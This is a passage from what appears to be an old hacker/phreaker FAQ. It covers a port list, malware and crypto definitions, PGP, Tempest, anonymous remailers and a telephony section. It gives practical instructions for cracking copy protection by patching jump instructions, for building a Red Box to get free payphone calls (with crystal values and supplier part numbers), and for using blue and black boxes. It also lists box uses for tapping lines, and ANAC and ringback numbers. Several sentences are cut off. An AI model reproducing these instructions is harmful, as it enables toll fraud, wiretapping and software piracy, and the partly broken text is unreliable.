fln-spx         221/tcp    Berkeley rlogind with SPX auth
fln-spx         221/udp    Berkeley rlogind with SPX auth
fsh-spx         222/tcp    Berkeley rshd with SPX auth
fsh-spx         222/udp    Berkeley rshd with SPX auth
cdc             223/tcp    Certificate Distribution Center
cdc             223/udp    Certificate Distribution Center
                224-241    Reserved
sur-meas        243/tcp    Survey Measurement
sur-meas        243/udp    Survey Measurement
link            245/tcp    LINK
link            245/udp    LINK
dsp3270         246/tcp    Display Systems Protocol
dsp3270         246/udp    Display Systems Protocol
                247-255    Reserved
pawserv         345/tcp    Perf Analysis Workbench
pawserv         345/udp    Perf Analysis Workbench
zserv           346/tcp    Zebra server
zserv           346/udp    Zebra server
fatserv         347/tcp    Fatmen Server
fatserv         347/udp    Fatmen Server
clearcase       371/tcp    Clearcase
clearcase       371/udp    Clearcase
ulistserv       372/tcp    Unix Listserv
ulistserv       372/udp    Unix Listserv
legent-1        373/tcp    Legent Corporation
legent-1        373/udp    Legent Corporation
legent-2        374/tcp    Legent Corporation
legent-2        374/udp    Legent Corporation
exec            512/tcp    remote process execution;
                           authentication performed using
                           passwords and UNIX login names
biff            512/udp    used by mail system to notify users
                           of new mail received; currently
                           receives messages only from
                           processes on the same machine
login           513/tcp    remote login a la telnet;
                           automatic authentication performed
                           based on priviledged port numbers
                           and distributed data bases which
                           identify "authentication domains"
who             513/udp    maintains data bases showing who's
                           logged in to machines on a local
                           net and the load average of the
cmd             514/tcp    like exec, but automatic
                           authentication is performed as for
                           login server
syslog          514/udp
printer         515/tcp    spooler
printer         515/udp    spooler
talk            517/tcp    like tenex link, but across
                           machine - unfortunately, doesn't
                           use link protocol (this is actually
                           just a rendezvous port from which a
                           tcp connection is established)
talk            517/udp    like tenex link, but across
                           machine - unfortunately, doesn't
                           use link protocol (this is actually
                           just a rendezvous port from which a
                           tcp connection is established)
ntalk           518/tcp
ntalk           518/udp
utime           519/tcp    unixtime
utime           519/udp    unixtime
efs             520/tcp    extended file name server
router          520/udp    local routing process (on site);
                           uses variant of Xerox NS routing
                           information protocol
timed           525/tcp    timeserver
timed           525/udp    timeserver
tempo           526/tcp    newdate
tempo           526/udp    newdate
courier         530/tcp    rpc
courier         530/udp    rpc
conference      531/tcp    chat
conference      531/udp    chat
netnews         532/tcp    readnews
netnews         532/udp    readnews
netwall         533/tcp    for emergency broadcasts
netwall         533/udp    for emergency broadcasts
uucp            540/tcp    uucpd
uucp            540/udp    uucpd
klogin          543/tcp
klogin          543/udp
kshell          544/tcp    krcmd
kshell          544/udp    krcmd
new-rwho        550/tcp    new-who
new-rwho        550/udp    new-who
dsf             555/tcp
dsf             555/udp
remotefs        556/tcp    rfs server
remotefs        556/udp    rfs server
rmonitor        560/tcp    rmonitord
rmonitor        560/udp    rmonitord
monitor         561/tcp
monitor         561/udp
chshell         562/tcp    chcmd
chshell         562/udp    chcmd
9pfs            564/tcp    plan 9 file service
9pfs            564/udp    plan 9 file service
whoami          565/tcp    whoami
whoami          565/udp    whoami
meter           570/tcp    demon
meter           570/udp    demon
meter           571/tcp    udemon
meter           571/udp    udemon
ipcserver       600/tcp    Sun IPC server
ipcserver       600/udp    Sun IPC server
nqs             607/tcp    nqs
nqs             607/udp    nqs
mdqs            666/tcp
mdqs            666/udp
elcsd           704/tcp    errlog copy/server daemon
elcsd           704/udp    errlog copy/server daemon
netcp           740/tcp    NETscout Control Protocol
netcp           740/udp    NETscout Control Protocol
netgw           741/tcp    netGW
netgw           741/udp    netGW
netrcs          742/tcp    Network based Rev. Cont. Sys.
netrcs          742/udp    Network based Rev. Cont. Sys.
flexlm          744/tcp    Flexible License Manager
flexlm          744/udp    Flexible License Manager
fujitsu-dev     747/tcp    Fujitsu Device Control
fujitsu-dev     747/udp    Fujitsu Device Control
ris-cm          748/tcp    Russell Info Sci Calendar Manager
ris-cm          748/udp    Russell Info Sci Calendar Manager
kerberos-adm    749/tcp    kerberos administration
kerberos-adm    749/udp    kerberos administration
rfile           750/tcp
loadav          750/udp
pump            751/tcp
pump            751/udp
qrh             752/tcp
qrh             752/udp
rrh             753/tcp
rrh             753/udp
tell            754/tcp     send
tell            754/udp     send
nlogin          758/tcp
nlogin          758/udp
con             759/tcp
con             759/udp
ns              760/tcp
ns              760/udp
rxe             761/tcp
rxe             761/udp
quotad          762/tcp
quotad          762/udp
cycleserv       763/tcp
cycleserv       763/udp
omserv          764/tcp
omserv          764/udp
webster         765/tcp
webster         765/udp
phonebook       767/tcp    phone
phonebook       767/udp    phone
vid             769/tcp
vid             769/udp
cadlock         770/tcp
cadlock         770/udp
rtip            771/tcp
rtip            771/udp
cycleserv2      772/tcp
cycleserv2      772/udp
submit          773/tcp
notify          773/udp
rpasswd         774/tcp
acmaint_dbd     774/udp
entomb          775/tcp
acmaint_transd  775/udp
wpages          776/tcp
wpages          776/udp
wpgs            780/tcp
wpgs            780/udp
hp-collector    781/tcp        hp performance data collector
hp-collector    781/udp        hp performance data collector
hp-managed-node 782/tcp        hp performance data managed node
hp-managed-node 782/udp        hp performance data managed node
hp-alarm-mgr    783/tcp        hp performance data alarm manager
hp-alarm-mgr    783/udp        hp performance data alarm manager
mdbs_daemon     800/tcp
mdbs_daemon     800/udp
device          801/tcp
device          801/udp
xtreelic        996/tcp        XTREE License Server
xtreelic        996/udp        XTREE License Server
maitrd          997/tcp
maitrd          997/udp
busboy          998/tcp
puparp          998/udp
garcon          999/tcp
applix          999/udp        Applix ac
puprouter       999/tcp
puprouter       999/udp
cadlock         1000/tcp
ock             1000/udp
blackjack       1025/tcp   network blackjack
blackjack       1025/udp   network blackjack
hermes          1248/tcp
hermes          1248/udp
bbn-mmc         1347/tcp   multi media conferencing
bbn-mmc         1347/udp   multi media conferencing
bbn-mmx         1348/tcp   multi media conferencing
bbn-mmx         1348/udp   multi media conferencing
sbook           1349/tcp   Registration Network Protocol
sbook           1349/udp   Registration Network Protocol
editbench       1350/tcp   Registration Network Protocol
editbench       1350/udp   Registration Network Protocol
equationbuilder 1351/tcp   Digital Tool Works (MIT)
equationbuilder 1351/udp   Digital Tool Works (MIT)
lotusnote       1352/tcp   Lotus Note
lotusnote       1352/udp   Lotus Note
ingreslock      1524/tcp   ingres
ingreslock      1524/udp   ingres
orasrv          1525/tcp   oracle
orasrv          1525/udp   oracle
prospero-np     1525/tcp   prospero non-privileged
prospero-np     1525/udp   prospero non-privileged
tlisrv          1527/tcp   oracle
tlisrv          1527/udp   oracle
coauthor        1529/tcp   oracle
coauthor        1529/udp   oracle
issd            1600/tcp
issd            1600/udp
nkd             1650/tcp
nkd             1650/udp
callbook        2000/tcp
callbook        2000/udp
dc              2001/tcp
wizard          2001/udp    curry
globe           2002/tcp
globe           2002/udp
mailbox         2004/tcp
emce            2004/udp    CCWS mm conf
berknet         2005/tcp
oracle          2005/udp
invokator       2006/tcp
raid-cc         2006/udp    raid
dectalk         2007/tcp
raid-am         2007/udp
conf            2008/tcp
terminaldb      2008/udp
news            2009/tcp
whosockami      2009/udp
search          2010/tcp
pipe_server     2010/udp
raid-cc         2011/tcp    raid
servserv        2011/udp
ttyinfo         2012/tcp
raid-ac         2012/udp
raid-am         2013/tcp
raid-cd         2013/udp
troff           2014/tcp
raid-sf         2014/udp
cypress         2015/tcp
raid-cs         2015/udp
bootserver      2016/tcp
bootserver      2016/udp
cypress-stat    2017/tcp
bootclient      2017/udp
terminaldb      2018/tcp
rellpack        2018/udp
whosockami      2019/tcp
about           2019/udp
xinupageserver  2020/tcp
xinupageserver  2020/udp
servexec        2021/tcp
xinuexpansion1  2021/udp
down            2022/tcp
xinuexpansion2  2022/udp
xinuexpansion3  2023/tcp
xinuexpansion3  2023/udp
xinuexpansion4  2024/tcp
xinuexpansion4  2024/udp
ellpack         2025/tcp
xribs           2025/udp
scrabble        2026/tcp
scrabble        2026/udp
shadowserver    2027/tcp
shadowserver    2027/udp
submitserver    2028/tcp
submitserver    2028/udp
device2         2030/tcp
device2         2030/udp
blackboard      2032/tcp
blackboard      2032/udp
glogger         2033/tcp
glogger         2033/udp
scoremgr        2034/tcp
scoremgr        2034/udp
imsldoc         2035/tcp
imsldoc         2035/udp
objectmanager   2038/tcp
objectmanager   2038/udp
lam             2040/tcp
lam             2040/udp
interbase       2041/tcp
interbase       2041/udp
isis            2042/tcp
isis            2042/udp
isis-bcast      2043/tcp
isis-bcast      2043/udp
rimsl           2044/tcp
rimsl           2044/udp
cdfunc          2045/tcp
cdfunc          2045/udp
sdfunc          2046/tcp
sdfunc          2046/udp
dls             2047/tcp
dls             2047/udp
dls-monitor     2048/tcp
dls-monitor     2048/udp
shilp           2049/tcp
shilp           2049/udp
www-dev         2784/tcp   world wide web - development
www-dev         2784/udp   world wide web - development
NSWS            3049/tcp
NSWS            3049/ddddp
rfa             4672/tcp   remote file access server
rfa             4672/udp   remote file access server
commplex-main   5000/tcp
commplex-main   5000/udp
commplex-link   5001/tcp
commplex-link   5001/udp
rfe             5002/tcp   radio free ethernet
rfe             5002/udp   radio free ethernet
rmonitor_secure 5145/tcp
rmonitor_secure 5145/udp
padl2sim        5236/tcp
padl2sim        5236/udp
sub-process     6111/tcp   HP SoftBench Sub-Process Control
sub-process     6111/udp   HP SoftBench Sub-Process Control
xdsxdm          6558/udp
xdsxdm          6558/tcp
afs3-fileserver 7000/tcp   file server itself
afs3-fileserver 7000/udp   file server itself
afs3-callback   7001/tcp   callbacks to cache managers
afs3-callback   7001/udp   callbacks to cache managers
afs3-prserver   7002/tcp   users & groups database
afs3-prserver   7002/udp   users & groups database
afs3-vlserver   7003/tcp   volume location database
afs3-vlserver   7003/udp   volume location database
afs3-kaserver   7004/tcp   AFS/Kerberos authentication service
afs3-kaserver   7004/udp   AFS/Kerberos authentication service
afs3-volser     7005/tcp   volume managment server
afs3-volser     7005/udp   volume managment server
afs3-errors     7006/tcp   error interpretation service
afs3-errors     7006/udp   error interpretation service
afs3-bos        7007/tcp   basic overseer process
afs3-bos        7007/udp   basic overseer process
afs3-update     7008/tcp   server-to-server updater
afs3-update     7008/udp   server-to-server updater
afs3-rmtsys     7009/tcp   remote cache manager service
afs3-rmtsys     7009/udp   remote cache manager service
man             9535/tcp
man             9535/udp
isode-dua       17007/tcp
isode-dua       17007/udp

23. What is a trojan/worm/virus/logic bomb?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.

Trojan:     An independent program that appears to perform a useful
            function but that hides another unauthorized program
            inside it.  When an authorized user performs the apparent
            function, the trojan horse performs the unauthorized
            function as well (often usurping the privileges of the

Virus:      A code fragment (not an independent program) that
            reproduces by attaching to another program.  It may damage
            data directly, or it may degrade system performance by
            taking over system resources which are then not available
            to authorized users.

Worm:       An independent program that reproduces by copying itself
            from one system to another, usually over a network.  Like
            a virus, a worm may damage data directly, or it may
            degrade system performance by tying up system resources and
            even shutting down a network.

Logic Bomb: A method for releasing a system attack of some kind.  It
            is triggered when a particular condition (e.g., a certain
            date or system operation) occurs.

24. How can I protect myself from virii and such?

Always write protect your floppy disks when you are not purposefully
writing to them.

Use ATTRIB to make all of your EXE and COM files read only.  This will
protect you from many poorly written viruses.

Scan any software that you receive with a recent copy of a good virus
scanner.  The best virus scanner currently available for DOS is F-Prot
by Fridrik Skulason.  The current version is FP-215.  It is best to
use more than one virus scanner.  That will decrease your chances of
missing a virus.

Backup regularly, and keep several generations of backups on hand.
If you always backup over your last backup, you may find yourself with
an infected backup tape.

25. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.

A message is called either plaintext or cleartext.  The process of
disguising a message in such a way as to hide its substance is called
encryption.  An encrypted message is called ciphertext.  The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers.  Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise.  The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.

26. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys.  PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers.  PGP allows people to exchange files or
messages with privacy, authentication, and convenience.  Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software.  No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use.  This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management. 
And PGP performs the public-key functions faster than most other
software implementations.  PGP is public key cryptography for the

27. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance

Computers and other electronic equipment release interference to their
surrounding environment.  You may observe this by placing two video
monitors close together.  The pictures will behave erratically until
you space them apart.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful.  Suppose we wanted to see what project
a target was working on.  We could sit in a van outside her office and
use sensitive electronic equipment to attempt to pick up and decipher
the emanations from her video monitor.

Our competitor, however, could shield the emanations from her
equipment or use equipment without strong emanations.

Tempest is the US Government program for evaluation and endorsement
of electronic equipment that is safe from eavesdropping.

28. What is an anonymous remailer?

An anonymous remailer is a system on the Internet that allows you to
send e-mail anonymously or post messages to Usenet anonymously.

You apply for an anonymous ID at the remailer site.  Then, when you
send a message to the remailer, it sends it out from your anonymous ID
at the remailer.  No one reading the post will know your real account
name or host name.  If someone sends a message to your anonymous ID,
it will be forwarded to your real account by the remailer.

29. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is,
operated by Johan Helsingus.  To obtain an anonymous ID, mail  For assistance is obtaining an anonymous account
at penet, mail

To see a list on anonymous remailers, finger

30. How do I defeat Copy Protection?

There are two common methods of defeating copy protection.  The first
is to use a program that removes copy protection.  Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software.  The second method involves patching the copy
protected program.  For popular software, you may be able to locate a
ready made patch.  You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit.  If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer.  It
also requires some knowledge of assembly language.  Load the protected
program under the debugger and watch for it to check the protection
mechanism.  When it does, change that portion of the code.  The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally).  Or the code may simply be replaced with
NOP (No Operation) instructions.

31. What is is a loopback network connection.  If you telnet, ftp, etc...
to it you are connected to your own machine.

Section B: Telephony

01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System).  Red boxes work by fooling
ACTS into believing you have actually put money into the phone.  The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call.  The actual
tones are:

Nickel Signal      1700+2200  0.060s on
Dime Signal        1700+2200  0.060s on, 0.060s off, twice repeating
Quarter Signal     1700+2200  33ms on, 33ms off, 5 times repeating

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer,
open the dialer and replace the crystal with a new one.  
The purpose of the new crystal is to cause the * button on your tone
dialer to create a 1700Mhz and 2200Mhz tone instead of the original
941Mhz and 1209Mhz tones.  The exact value of the replacement crystal
should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to
create a perfect 2200mhz tone. A crystal close to those values will
create a tone that easily falls within the loose tolerances of ACTS.
The most popular choice is the 6.5536Mhz crystal, because it is the
eaiest to procure.  The old crystal is the large shiny metal component
labeled "3.579545Mhz."  When you are finished replacing the crystal,
program the P1 button with five *'s.  That will simulate a quarter
tone each time you press P1.

03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store.  Radio Shack sells them,
but they are overpriced and the store must order them in.  This takes
approximately two weeks.  In addition, many Radio Shack employees do
not know that this can be done.

Or, you could order the crystal mail order.  This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal.  It's best to get several people together to share the
S&H cost.  Or, buy five or six yourself and sell them later.  Some of
the places you can order crystals are:

701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
Part Number:X415-ND    /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
Part Number: 10068625

04. Which payphones will a Red Box work on?

Red Boxes will work on TelCo owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone.  ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.

COCOT's do not use ACTS.  On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.

05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls.  To use your red box for
local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288-xxx-xxxx.  This
makes your call a long distance call, and brings ACTS into the

In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach.  The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents."  When this
happens, you can then use ACTS tones.

06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling.  The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.

07. Do Blue Boxes still work?

Blue Boxes still work in areas using in band signalling.  Modern phone
switches use out of band signalling.  Nothing you send over the voice
portion of bandwidth can control the switch.

08. What is a Black Box?

A Black Box is a 1.8k ohm resistor placed across your phone line to
cause the phone company equipment to be unable to detect that you have
answered your telephone.  People who call you will then not be billed
for the telephone call.  Black boxes do not work under ESS.

09. What do all the colored boxes do?

Acrylic      Steal Three-Way-Calling, Call Waiting and programmable
	     Call Forwarding on old 4-wire phone systems
Aqua         Drain the voltage of the FBI lock-in-trace/trap-trace
Beige        Lineman's hand set
Black        Allows the calling party to not be billed for the call
Blast        Phone microphone amplifier
Blotto       Supposedly shorts every fone out in the immediate area
Blue         Emulate a true operator by seizing a trunk with a 2600hz
Brown        Create a party line from 2 phone lines
Bud          Tap into your neighbors phone line
Chartreuse   Use the electricity from your phone line
Cheese       Connect two phones to create a diverter
Chrome       Manipulate Traffic Signals by Remote Control
Clear        A telephone pickup coil and a small amp use to make free
	     calls on Fortress Phones
Color        Line activated telephone recorder
Copper       Cause crosstalk interference on an extender
Crimson      Hold button
Dark         Re-route outgoing or incoming calls to another phone
Dayglo       Connect to your neighbors phone line
Divertor     Re-route outgoing or incoming calls to another phone
DLOC         Create a party line from 2 phone lines
Gold         Trace calls, tell if the call is being traced, and can
	     change a trace
Green        Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity     Remotely activated phone tap
Jack         Touch-Tone key pad
Light        In-use light
Lunch        AM transmitter
Magenta      Connect a remote phone line to another remote phone line
Mauve        Phone tap without cutting into a line
Neon         External microphone
Noise        Create line noise
Olive        External ringer
Party        Create a party line from 2 phone lines
Pearl        Tone generator
Pink         Create a party line from 2 phone lines
Purple       Telephone hold button
Rainbow      Kill a trace by putting 120v into the phone line (joke)
Razz         Tap into your neighbors phone
Red          Make free phone calls from pay phones by generating
	     quarter tones
Rock         Add music to your phone line
Scarlet      Cause a neighbors phone line to have poor reception
Silver       Create the DTMF tones for A, B, C and D
Static       Keep the voltage on a phone line high
Switch       Add hold, indicator lights, conferencing, etc..
Tan          Line activated telephone recorder
Tron         Reverse the phase of power to your house, causing your
	     electric meter to run slower
TV Cable     "See" sound waves on your TV
Urine        Create a capacitative disturbance between the ring and
	     tip wires in another's telephone headset
Violet       Keep a payphone from hanging up
White        Portable DTMF keypad
Yellow       Add an extension phone

Box schematics may be retrieved from these FTP sites:          /pub/va/vandal                  (DnA)       /users/craigb                   (H/P)

10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.

11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it.  If that fails, try the
common numbers like 311, 958 and 200-222-2222.  If you find the ANAC
number for your area, please let us know.

Note that many times the ANAC number will vary for different switches
in the same city.  The geographic naming on the list is not intended
to be an accurate reference for coverage patterns, it is for
convenience only.

Many companies operate 800 number services which will read back to you
the number from which you are calling.  Many of these require
navigating a series of menus to get the phone number you are looking

(800)238-4959   A voice mail system
(800)328-2630   A phone sex line
(800)568-3197   Info Access Telephone Company's Automated Blocking Line
(800)571-8859   A phone sex line
(800)692-6447   (800)MY-ANI-IS
(800)769-3766   Duke Power Company Automated Outage System

An non-800 ANAC that works nationwide is 404-988-9664.  The one catch
with this number is that it must be dialed with the AT&T Carrier
Access Code 10732.

Another non-800 nationwide ANAC is Glen Robert of Full Disclosure
Magazine's number, 10555-1-708-356-9646.

Please use local ANAC numbers if you can, as abuse or overuse kills
800 ANAC numbers.

NPA  ANAC number      Comments
---  ---------------  ---------------------------------------------
201  958              Hackensack/Jersey City/Newark/Paterson, NJ
202  811              District of Columbia
203  960              CT (All)
203  970              CT (All)
205  908-222-2222     Birmingham, AL
206  411              WA (Not US West)
207  958              ME (All)
209  830-2121         Stockton, CA
209  211-9779         Stockton, CA
212  958              Manhattan, NY
213  114              Los Angeles, CA
213  1223             Los Angeles, CA (Some 1AESS switches)
213  211-2345         Los Angeles, CA (English response)
213  211-2346         Los Angeles, CA (DTMF response)
213  61056            Los Angeles, CA
214  570              Dallas, TX
214  790              Dallas, TX (GTE)
214  970-222-2222     Dallas, TX
214  970-611-1111     Dallas, TX (Southwestern Bell)
215  410-xxxx         Philadelphia, PA
215  511              Philadelphia, PA
215  958              Philadelphia, PA
217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL
219  550              Gary/Hammond/Michigan City/Southbend, IN
219  559              Gary/Hammond/Michigan City/Southbend, IN
301  958-9968         Hagerstown/Rockville, MD
305  200-222-2222     Ft. Lauderdale/Key West/Miami, FL
309  200-xxx-xxxx     Peoria/Rock Island, IL
310  114              Long Beach, CA (On many GTE switches)
310  1223             Long Beach, CA (Some 1AESS switches)
310  211-2345         Long Beach, CA (English response)
310  211-2346         Long Beach, CA (DTMF response)
312  200              Chicago, IL
312  290              Chicago, IL
312  1-200-8825       Chicago, IL (Last four change rapidly)
312  1-200-555-1212   Chicago, IL
313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI
313  200200200200200  Ann Arbor/Dearborn/Detroit, MI
314  410-xxxx#        Columbia/Jefferson City/St.Louis, MO
315  953              Syracuse/Utica, NY
315  958              Syracuse/Utica, NY
315  998              Syracuse/Utica, NY
317  310-222-2222     Indianapolis/Kokomo, IN
317  743-1218         Indianapolis/Kokomo, IN
401  200-200-4444     RI (All)
401  222-2222         RI (All)
402  311              Lincoln, NE
404  311              Atlanta, GA
404  940-xxx-xxxx     Atlanta, GA
404  990              Atlanta, GA
405  890-7777777      Enid/Oklahoma City, OK
405  897              Enid/Oklahoma City, OK
407  200-222-2222     Orlando/West Palm Beach, FL
408  300-xxx-xxxx     San Jose, CA
408  760              San Jose, CA
408  940              San Jose, CA
409  951              Beaumont/Galveston, TX
409  970-xxxx         Beaumont/Galveston, TX
410  200-6969         Annapolis/Baltimore, MD
410  200-555-1212     Annapolis/Baltimore, MD
410  811              Annapolis/Baltimore, MD
412  711-6633         Pittsburgh, PA
412  711-4411         Pittsburgh, PA
412  999-xxxx         Pittsburgh, PA
413  958              Pittsfield/Springfield, MA
413  200-555-5555     Pittsfield/Springfield, MA
414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  200-555-1212     San Francisco, CA
415  211-2111         San Francisco, CA
415  2222             San Francisco, CA
415  640              San Francisco, CA
415  760-2878         San Francisco, CA
415  7600-2222        San Francisco, CA
419  311              Toledo, OH
502  2002222222       Frankfort/Louisville/Paducah/Shelbyville, KY
502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY
503  611              Portland, OR
503  999              Portland, OR (GTE)
504  99882233         Baton Rouge/New Orleans, LA
504  201-269-1111     Baton Rouge/New Orleans, LA
504  998              Baton Rouge/New Orleans, LA
504  99851-0000000000 Baton Rouge/New Orleans, LA
508  958              Fall River/New Bedford/Worchester, MA
508  200-222-1234     Fall River/New Bedford/Worchester, MA
508  200-222-2222     Fall River/New Bedford/Worchester, MA
508  26011            Fall River/New Bedford/Worchester, MA
509  560              Spokane/Walla Walla/Yakima, WA
512  830              Austin/Corpus Christi, TX
512  970-xxxx         Austin/Corpus Christi, TX
515  5463             Des Moines, IA
515  811              Des Moines, IA
516  958              Hempstead/Long Island, NY
516  968              Hempstead/Long Island, NY
517  200-222-2222     Bay City/Jackson/Lansing, MI
517  200200200200200  Bay City/Jackson/Lansing, MI
518  997              Albany/Schenectady/Troy, NY
518  998              Albany/Schenectady/Troy, NY
602  593-0809         Phoenix, AZ
602  593-6017         Phoenix, AZ
602  593-7451         Phoenix, AZ
603  200-222-2222     NH (All)
606  997-555-1212     Ashland/Winchester, KY
606  711              Ashland/Winchester, KY
607  993              Binghamton/Elmira, NY
609  958              Atlantic City/Camden/Trenton/Vineland, NJ
610  958              Allentown/Reading, PA
612  511              Minneapolis/St.Paul, MN
615  200200200200200  Chatanooga/Knoxville/Nashville, TN
615  2002222222       Chatanooga/Knoxville/Nashville, TN
615  830              Nashville, TN
616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
617  200-222-1234     Boston, MA
617  200-222-2222     Boston, MA
617  200-444-4444     Boston, MA (Woburn, MA)
617  220-2622         Boston, MA
617  958              Boston, MA
618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL
618  930              Alton/Cairo/Mt.Vernon, IL
703  811              Alexandria/Arlington/Roanoke, VA
708  1-200-555-1212   Chicago/Elgin, IL
708  1-200-8825       Chicago/Elgin, IL (Last four change rapidly)
708  356-9646         Chicago/Elgin, IL
713  970-xxxx         Houston, TX
714  114              Anaheim, CA (GTE)
714  211-2121         Anaheim, CA (PacBell)
714  211-2222         Anaheim, CA (Pacbell)
716  511              Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717  958              Harrisburg/Scranton/Wilkes-Barre, PA
718  958              Bronx/Brooklyn/Queens/Staten Island, NY
802  2-222-222-2222   Vermont (All)
802  200-222-2222     Vermont (All)
805  211-2345         Bakersfield/Santa Barbara, CA
805  211-2346         Bakersfield/Santa Barbara, CA (Returns DTMF)
805  830              Bakersfield/Santa Barbara, CA
806  970-xxxx         Amarillo/Lubbock, TX
810  200200200200200  Flint/Pontiac/Southfield/Troy, MI
812  410-555-1212     Evansville, IN
813  311              Ft. Meyers/St. Petersburg/Tampa, FL
815  200-xxx-xxxx     La Salle/Rockford, IL
815  290              La Salle/Rockford, IL
817  211              Ft. Worth/Waco, TX
817  970-611-1111     Ft. Worth/Waco, TX  (Southwestern Bell)
818  1223             Pasadena, CA (Some 1AESS switches)
818  211-2345         Pasadena, CA (English response)
818  211-2346         Pasadena, CA (DTMF response)
906  1-200-222-2222   Marquette/Sault Ste. Marie, MI
908  958              New Brunswick, NJ
910  200              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910  311              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910  988              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914  990-1111         Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915  970-xxxx         Abilene/El Paso, TX
919  200              Durham, NC
919  711              Durham, NC

204  644-xxxx         Manitoba
306  115              Saskatchewan, Canada
403  311              Alberta, Yukon and N.W. Territory
403  908-222-2222     Alberta, Yukon and N.W. Territory
403  999              Alberta, Yukon and N.W. Territory
416  997-xxxx         Toronto, Ontario
514  320-xxxx         Montreal, Quebec
519  320-xxxx         London, Ontario
604  1116             British Columbia, Canada
604  1211             British Columbia, Canada
604  211              British Columbia, Canada
613  320-2232         Ottawa, Ontario
705  320-4567         North Bay/Saulte Ste. Marie, Ontario

+61  03-552-4111      Victoria 03 area
+612 19123            All major capital cities

United Kingdom:

12. What is a ringback number?

A ringback number is a number that you call that will immediately
ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone.  You may then
hang up.  You will be called back seconds later.

13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you
are calling.  A '?' means that the number varies from switch to switch
in the area, or changes from time to time.  Try all possible

If the ringback for your NPA is not listed, try common ones such as
954, 957 and 958.  Also, try using the numbers listed for other NPA's
served by your telephone company.

201  55?-xxxx         Hackensack/Jersey City/Newark/Paterson, NJ
202  958-xxxx         District of Columbia
203  991-xxxx         CT (All)
213  1-95x-xxxx       Los Angeles, CA
219  571-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN
219  777-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN
301  579-xxxx         Hagerstown/Rockville, MD
301  958-xxxx         Hagerstown/Rockville, MD
303  99X-xxxx         Grand Junction, CO
